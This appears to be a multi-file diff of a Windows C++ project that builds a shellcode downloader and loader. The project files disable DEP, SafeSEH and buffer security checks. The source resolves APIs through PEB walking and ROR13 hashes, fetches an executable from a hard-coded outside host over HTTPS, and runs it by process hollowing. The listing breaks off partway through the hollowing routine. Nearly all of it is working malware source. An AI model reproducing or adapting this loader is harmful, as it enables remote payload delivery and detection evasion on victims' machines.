<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='RUN_EXE_MT|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>Static</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>Static</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Label="Configuration" Condition="'$(Configuration)|$(Platform)'=='RUN_EXE_MT|x64'">
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Label="Configuration" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Label="Configuration" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='RUN_EXE_MT|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='RUN_EXE_MT|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
<AdditionalOptions>/Gs32768 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<DataExecutionPrevention>false</DataExecutionPrevention>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalOptions>/SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>
|
||||
</IgnoreSpecificDefaultLibraries>
|
||||
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='RUN_EXE_MT|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PreprocessorDefinitions>RUNEXEMT;_CRT_SECURE_NO_WARNINGS;WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
<AdditionalOptions>/Gs32768 %(AdditionalOptions)</AdditionalOptions>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<DebugInformationFormat>None</DebugInformationFormat>
|
||||
<FavorSizeOrSpeed>Neither</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<DataExecutionPrevention>false</DataExecutionPrevention>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalOptions>/SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>
|
||||
</IgnoreSpecificDefaultLibraries>
|
||||
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<StringPooling>true</StringPooling>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<CompileAsManaged>false</CompileAsManaged>
|
||||
<DebugInformationFormat>None</DebugInformationFormat>
|
||||
<AdditionalOptions>/Gs32768 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<AdditionalDependencies>user32.lib;winhttp.lib;msvcrt.lib;</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="api.h" />
|
||||
<ClInclude Include="hash.h" />
|
||||
<ClInclude Include="ShellCode.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
<ClInclude Include="Tool.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="ShellCode.cpp" />
|
||||
<ClCompile Include="stdafx.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件\Tool">
|
||||
<UniqueIdentifier>{f1ff9032-204a-44ff-b5cf-e171033df1a4}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Tool.h">
|
||||
<Filter>头文件\Tool</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="api.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="hash.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ShellCode.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Loader.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellCode.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
|
|
@ -0,0 +1,89 @@
|
|||
#include "ShellCode.h"
|
||||
|
||||
//加载起始函数，跳转到入口函数
|
||||
VOID _declspec(naked) mmLoaderSCStart()
|
||||
{
|
||||
|
||||
__asm jmp Strat;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
//将需要转为shellcode的所有代码放在这个类中
|
||||
class RmExecute
|
||||
{
|
||||
public:
|
||||
// 功能
|
||||
#include"Tool.h"
|
||||
|
||||
public:
|
||||
//模拟全局变量---这里是对项目全局变量的定义
|
||||
|
||||
|
||||
Functions fn;
|
||||
char s_runexe[260];
|
||||
char* newbuff;
|
||||
|
||||
|
||||
public:
|
||||
//关于全局变量初始化以及一些开始的操作
|
||||
RmExecute()
|
||||
{
|
||||
|
||||
newbuff = NULL;
|
||||
Initfunctions(&fn);
|
||||
char runexe[] = { 'A', 'A','\0' };
|
||||
fn.fnmemcpy(s_runexe, runexe, 260);
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
~RmExecute()
|
||||
{
|
||||
};
|
||||
|
||||
|
||||
public:
|
||||
|
||||
|
||||
//提取项目的main文件，StartSCode相当于项目的main函数
|
||||
void __stdcall StartSCode(char * URL)
|
||||
{
|
||||
|
||||
|
||||
wchar_t host[] = {'9','b','i','e','.','o','r','g' ,'\0' };
|
||||
wchar_t path[] = { '/','c','m','d','.','e','x','e','\0' };
|
||||
|
||||
|
||||
//使用API之前一定要调用这个避免地址丢失
|
||||
Initfunctions(&fn);
|
||||
|
||||
int size = HttpDownload(host, path, 443, TRUE);
|
||||
|
||||
fn.fnMessageBoxA(NULL, newbuff, NULL, MB_OK);
|
||||
|
||||
RunPortableExecutable();
|
||||
|
||||
fn.fnfree(newbuff);
|
||||
// 用完HttpDownload一定要free
|
||||
}
|
||||
|
||||
|
||||
|
||||
};
|
||||
|
||||
//sehllcode入口函数
|
||||
void __stdcall Strat(char * URL)
|
||||
{
|
||||
//由于需要模拟全局变量，所以使用类包裹下
|
||||
RmExecute runclass;
|
||||
|
||||
runclass.StartSCode(URL);
|
||||
}
|
||||
|
||||
void __declspec(naked) mmLoaderSCEnd()
|
||||
{
|
||||
__asm int 3;
|
||||
}
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
#include <Windows.h>
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <winhttp.h>
|
||||
#include <string.h>
|
||||
#include "api.h"
|
||||
|
||||
|
||||
EXTERN_C VOID
|
||||
mmLoaderSCStart();//这里用来表明shellcode的开始
|
||||
|
||||
void __stdcall Strat(char * URL);//入口函数main
|
||||
|
||||
EXTERN_C VOID
|
||||
mmLoaderSCEnd();//与开头对应的结尾
|
||||
|
|
@ -0,0 +1,381 @@
|
|||
|
||||
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
|
||||
|
||||
HMODULE RmExecute::GetProcAddressWithHash(DWORD dwModuleFunctionHash)
|
||||
{
|
||||
PPEB PebAddress;
|
||||
PMY_PEB_LDR_DATA pLdr;
|
||||
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
|
||||
PVOID pModuleBase;
|
||||
PIMAGE_NT_HEADERS pNTHeader;
|
||||
DWORD dwExportDirRVA;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDir;
|
||||
PLIST_ENTRY pNextModule;
|
||||
DWORD dwNumFunctions;
|
||||
USHORT usOrdinalTableIndex;
|
||||
PDWORD pdwFunctionNameBase;
|
||||
PCSTR pFunctionName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
DWORD dwModuleHash;
|
||||
DWORD dwFunctionHash;
|
||||
PCSTR pTempChar;
|
||||
DWORD i;
|
||||
|
||||
#if defined(_WIN64)
|
||||
PebAddress = (PPEB)__readgsqword(0x60);
|
||||
#elif defined(_M_ARM)
|
||||
PebAddress = (PPEB)((ULONG_PTR)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
|
||||
__emit(0x00006B1B);
|
||||
#else
|
||||
PebAddress = (PPEB)__readfsdword(0x30);
|
||||
#endif
|
||||
|
||||
pLdr = (PMY_PEB_LDR_DATA)PebAddress->Ldr;
|
||||
pNextModule = pLdr->InLoadOrderModuleList.Flink;
|
||||
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pNextModule;
|
||||
|
||||
while (pDataTableEntry->DllBase != NULL)
|
||||
{
|
||||
dwModuleHash = 0;
|
||||
pModuleBase = pDataTableEntry->DllBase;
|
||||
BaseDllName = pDataTableEntry->BaseDllName;
|
||||
pNTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + ((PIMAGE_DOS_HEADER)pModuleBase)->e_lfanew);
|
||||
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
|
||||
|
||||
//获取下一个模块地址
|
||||
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry->InLoadOrderLinks.Flink;
|
||||
|
||||
// 如果当前模块不导出任何函数，则转到下一个模块 加载模块入口
|
||||
if (dwExportDirRVA == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
//计算模块哈希值
|
||||
for (i = 0; i < BaseDllName.MaximumLength; i++)
|
||||
{
|
||||
pTempChar = ((PCSTR)BaseDllName.Buffer + i);
|
||||
|
||||
dwModuleHash = ROTR32(dwModuleHash, 13);
|
||||
|
||||
if (*pTempChar >= 0x61)
|
||||
{
|
||||
dwModuleHash += *pTempChar - 0x20;
|
||||
}
|
||||
else
|
||||
{
|
||||
dwModuleHash += *pTempChar;
|
||||
}
|
||||
}
|
||||
|
||||
pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase + dwExportDirRVA);
|
||||
|
||||
dwNumFunctions = pExportDir->NumberOfNames;
|
||||
pdwFunctionNameBase = (PDWORD)((PCHAR)pModuleBase + pExportDir->AddressOfNames);
|
||||
|
||||
for (i = 0; i < dwNumFunctions; i++)
|
||||
{
|
||||
dwFunctionHash = 0;
|
||||
pFunctionName = (PCSTR)(*pdwFunctionNameBase + (ULONG_PTR)pModuleBase);
|
||||
pdwFunctionNameBase++;
|
||||
|
||||
pTempChar = pFunctionName;
|
||||
|
||||
do
|
||||
{
|
||||
dwFunctionHash = ROTR32(dwFunctionHash, 13);
|
||||
dwFunctionHash += *pTempChar;
|
||||
pTempChar++;
|
||||
} while (*(pTempChar - 1) != 0);
|
||||
|
||||
dwFunctionHash += dwModuleHash;
|
||||
|
||||
if (dwFunctionHash == dwModuleFunctionHash)
|
||||
{
|
||||
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
|
||||
return (HMODULE)((ULONG_PTR)pModuleBase + *(PDWORD)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
void RmExecute::Initfunctions(Pfunctions pfn)
|
||||
{
|
||||
|
||||
|
||||
pfn->fnLoadLibraryA = (pfnLoadLibraryA)GetProcAddressWithHash(HASH_LoadLibraryA);
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
//获取LoadLibraryA函数地址
|
||||
|
||||
|
||||
pfn->fnGetModuleFileNameA = (pfnGetModuleFileNameA)GetProcAddressWithHash(HASH_GetModuleFileNameA);
|
||||
|
||||
char szUser32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 };
|
||||
pfn->fnLoadLibraryA(szUser32);
|
||||
char szMsvcrt[] = { 'm', 's', 'v', 'c', 'r', 't', '.', 'd', 'l', 'l', 0 };
|
||||
pfn->fnLoadLibraryA(szMsvcrt);
|
||||
char szWinhttp[] = { 'w', 'i', 'n', 'h', 't', 't', 'p', '.', 'd', 'l', 'l', 0 };
|
||||
pfn->fnLoadLibraryA(szWinhttp);
|
||||
|
||||
pfn->fnMessageBoxA = (pfnMessageBoxA)GetProcAddressWithHash(HASH_MessageBoxA);
|
||||
pfn->fnCreateProcessA = (pfnCreateProcessA)GetProcAddressWithHash(HASH_CreateProcessA);
|
||||
pfn->fnGetThreadContext = (pfnGetThreadContext)GetProcAddressWithHash(HASH_GetThreadContext);
|
||||
pfn->fnReadProcessMemory = (pfnReadProcessMemory)GetProcAddressWithHash(HASH_ReadProcessMemory);
|
||||
pfn->fnVirtualAllocEx = (pfnVirtualAllocEx)GetProcAddressWithHash(HASH_VirtualAllocEx);
|
||||
pfn->fnWriteProcessMemory = (pfnWriteProcessMemory)GetProcAddressWithHash(HASH_WriteProcessMemory);
|
||||
pfn->fnSetThreadContext = (pfnSetThreadContext)GetProcAddressWithHash(HASH_SetThreadContext);
|
||||
pfn->fnResumeThread = (pfnResumeThread)GetProcAddressWithHash(HASH_ResumeThread);
|
||||
pfn->fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddressWithHash(HASH_VirtualAlloc);
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
pfn->fnmalloc = (pfnmalloc)GetProcAddressWithHash(HASH_malloc);
|
||||
pfn->fnfree = (pfnfree)GetProcAddressWithHash(HASH_free);
|
||||
pfn->fnmemset = (pfnmemset)GetProcAddressWithHash(HASH_memset);
|
||||
pfn->fnmemcpy = (pfnmemcpy)GetProcAddressWithHash(HASH_memcpy);
|
||||
pfn->fnmemcmp = (pfnmemcmp)GetProcAddressWithHash(HASH_memcmp);
|
||||
pfn->fnstrlen = (pfnstrlen)GetProcAddressWithHash(HASH_strlen);
|
||||
pfn->fnstrcpy = (pfnstrcpy)GetProcAddressWithHash(HASH_strcpy);
|
||||
pfn->fnstrcat = (pfnstrcat)GetProcAddressWithHash(HASH_strcat);
|
||||
|
||||
|
||||
|
||||
|
||||
pfn->fnWinHttpOpen = (pfnWinHttpOpen)GetProcAddressWithHash(HASH_WinHttpOpen);
|
||||
pfn->fnWinHttpConnect = (pfnWinHttpConnect)GetProcAddressWithHash(HASH_WinHttpConnect);
|
||||
pfn->fnWinHttpOpenRequest = (pfnWinHttpOpenRequest)GetProcAddressWithHash(HASH_WinHttpOpenRequest);
|
||||
pfn->fnWinHttpAddRequestHeaders = (pfnWinHttpAddRequestHeaders)GetProcAddressWithHash(HASH_WinHttpAddRequestHeaders);
|
||||
pfn->fnWinHttpSendRequest = (pfnWinHttpSendRequest)GetProcAddressWithHash(HASH_WinHttpSendRequest);
|
||||
pfn->fnWinHttpReceiveResponse = (pfnWinHttpReceiveResponse)GetProcAddressWithHash(HASH_WinHttpReceiveResponse);
|
||||
pfn->fnWinHttpQueryDataAvailable = (pfnWinHttpQueryDataAvailable)GetProcAddressWithHash(HASH_WinHttpQueryDataAvailable);
|
||||
pfn->fnWinHttpReadData = (pfnWinHttpReadData)GetProcAddressWithHash(HASH_WinHttpReadData);
|
||||
pfn->fnWinHttpCloseHandle = (pfnWinHttpCloseHandle)GetProcAddressWithHash(HASH_WinHttpCloseHandle);
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
// 用完一定要free
|
||||
int RmExecute::HttpDownload(wchar_t* target, wchar_t* path, INTERNET_PORT port,BOOL useSSL =FALSE) {
|
||||
|
||||
|
||||
DWORD dwSize = 0;
|
||||
DWORD dwDownloaded = 0;
|
||||
DWORD dwLast = 0;
|
||||
LPSTR pszOutBuffer;
|
||||
BOOL bResults = FALSE;
|
||||
|
||||
HINTERNET hSession = NULL,
|
||||
hConnect = NULL,
|
||||
hRequest = NULL;
|
||||
newbuff = NULL;
|
||||
|
||||
|
||||
|
||||
// Use WinHttpOpen to obtain a session handle.
|
||||
wchar_t Sign[] = { 'W','i','n','H','T','T','P',' ','E','x','a','m','p','l','e','/','1','.','0','\0' };
|
||||
|
||||
hSession = fn.fnWinHttpOpen(Sign,
|
||||
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
|
||||
WINHTTP_NO_PROXY_NAME,
|
||||
WINHTTP_NO_PROXY_BYPASS, 0);
|
||||
|
||||
// Specify an HTTP server.
|
||||
if (hSession)
|
||||
hConnect = fn.fnWinHttpConnect(hSession, target,
|
||||
port, 0);
|
||||
wchar_t GET[] = { 'G','E','T','\0' };
|
||||
// Create an HTTP request handle.
|
||||
if (hConnect){}
|
||||
|
||||
|
||||
hRequest = fn.fnWinHttpOpenRequest(hConnect, GET, path,
|
||||
NULL, WINHTTP_NO_REFERER,
|
||||
WINHTTP_DEFAULT_ACCEPT_TYPES,
|
||||
useSSL ? WINHTTP_FLAG_SECURE : 0);
|
||||
|
||||
|
||||
|
||||
|
||||
/*
|
||||
#ifndef _WIN64
|
||||
LPCWSTR header = L"Accept-platform: x86\n";
|
||||
SIZE_T len = lstrlenW(header);
|
||||
WinHttpAddRequestHeaders(hRequest, header, len, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
#else
|
||||
LPCWSTR header = L"Accept-platform: x64\n";
|
||||
SIZE_T len = lstrlenW(header);
|
||||
WinHttpAddRequestHeaders(hRequest, header, len, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
#endif
|
||||
*/
|
||||
|
||||
|
||||
// Send a request.
|
||||
if (hRequest)
|
||||
bResults = fn.fnWinHttpSendRequest(hRequest,
|
||||
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
||||
WINHTTP_NO_REQUEST_DATA, 0,
|
||||
0, 0);
|
||||
|
||||
|
||||
// End the request.
|
||||
if (bResults)
|
||||
bResults = fn.fnWinHttpReceiveResponse(hRequest, NULL);
|
||||
|
||||
// Keep checking for data until there is nothing left.
|
||||
if (bResults)
|
||||
{
|
||||
do
|
||||
{
|
||||
// Check for available data.
|
||||
dwSize = 0;
|
||||
if (!fn.fnWinHttpQueryDataAvailable(hRequest, &dwSize))
|
||||
return dwLast;
|
||||
// Allocate space for the buffer.
|
||||
//pszOutBuffer = new char[dwSize + 1];
|
||||
BOOL Second = FALSE;
|
||||
if (dwLast != 0) {
|
||||
newbuff = (char *)fn.fnmalloc(dwLast + dwSize + 1);
|
||||
fn.fnmemset(newbuff, 0, dwLast + dwSize + 1);
|
||||
fn.fnmemcpy(newbuff, pszOutBuffer, dwLast);
|
||||
fn.fnfree(pszOutBuffer);
|
||||
pszOutBuffer = newbuff;
|
||||
dwLast += dwSize;
|
||||
Second = TRUE;
|
||||
}
|
||||
else {
|
||||
newbuff = (LPSTR)fn.fnmalloc(dwSize + 1);
|
||||
pszOutBuffer = newbuff;
|
||||
dwLast = dwSize;
|
||||
|
||||
}
|
||||
if (!pszOutBuffer)
|
||||
{
|
||||
return dwLast;
|
||||
dwSize = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Read the data.
|
||||
//ZeroMemory(pszOutBuffer, dwSize + 1);
|
||||
|
||||
BOOL Flag;
|
||||
if (Second) {
|
||||
|
||||
Flag = fn.fnWinHttpReadData(hRequest, (LPVOID)(pszOutBuffer + dwLast-dwSize),
|
||||
dwSize, &dwDownloaded);
|
||||
}
|
||||
else {
|
||||
fn.fnmemset(pszOutBuffer, 0, dwSize + 1);
|
||||
Flag = fn.fnWinHttpReadData(hRequest, (LPVOID)(pszOutBuffer),
|
||||
dwSize, &dwDownloaded);
|
||||
}
|
||||
if (!Flag)
|
||||
return dwLast;
|
||||
|
||||
|
||||
// Free the memory allocated to the buffer.
|
||||
//delete[] pszOutBuffer;
|
||||
//fn.fnfree(pszOutBuffer);
|
||||
|
||||
}
|
||||
} while (dwSize > 0);
|
||||
}
|
||||
|
||||
|
||||
// Report any errors.
|
||||
if (!bResults)
|
||||
return dwLast;
|
||||
|
||||
// Close any open handles.
|
||||
if (hRequest) fn.fnWinHttpCloseHandle(hRequest);
|
||||
if (hConnect) fn.fnWinHttpCloseHandle(hConnect);
|
||||
if (hSession) fn.fnWinHttpCloseHandle(hSession);
|
||||
return dwLast;
|
||||
}
|
||||
|
||||
|
||||
bool RmExecute::RunPortableExecutable()
|
||||
{
|
||||
|
||||
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
|
||||
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
|
||||
IMAGE_SECTION_HEADER* SectionHeader;
|
||||
|
||||
PROCESS_INFORMATION PI;
|
||||
STARTUPINFOA SI;
|
||||
|
||||
CONTEXT* CTX;
|
||||
|
||||
DWORD* ImageBase = NULL;; //Base address of the image
|
||||
void* pImageBase = NULL;; // Pointer to the image base
|
||||
|
||||
char CurrentFilePath[MAX_PATH];
|
||||
|
||||
DOSHeader = PIMAGE_DOS_HEADER(newbuff); // Initialize Variable
|
||||
NtHeader = PIMAGE_NT_HEADERS(DWORD(newbuff) + DOSHeader->e_lfanew); // Initialize
|
||||
|
||||
fn.fnGetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable
|
||||
|
||||
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
|
||||
{
|
||||
//ZeroMemory(&PI, sizeof(PI)); // Null the memory
|
||||
//ZeroMemory(&SI, sizeof(SI)); // Null the memory
|
||||
fn.fnmemset(&PI, 0, sizeof(PI));
|
||||
fn.fnmemset(&SI, 0, sizeof(SI));
|
||||
if (fn.fnCreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) //make process in suspended state, for the new image.
|
||||
{
|
||||
// Allocate memory for the context.
|
||||
CTX = LPCONTEXT(fn.fnVirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
|
||||
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
|
||||
|
||||
if (fn.fnGetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
|
||||
{
|
||||
// Read instructions
|
||||
fn.fnReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
|
||||
pImageBase = fn.fnVirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
//fix randomly crash
|
||||
if (pImageBase == 0) {
|
||||
fn.fnResumeThread(PI.hThread);
|
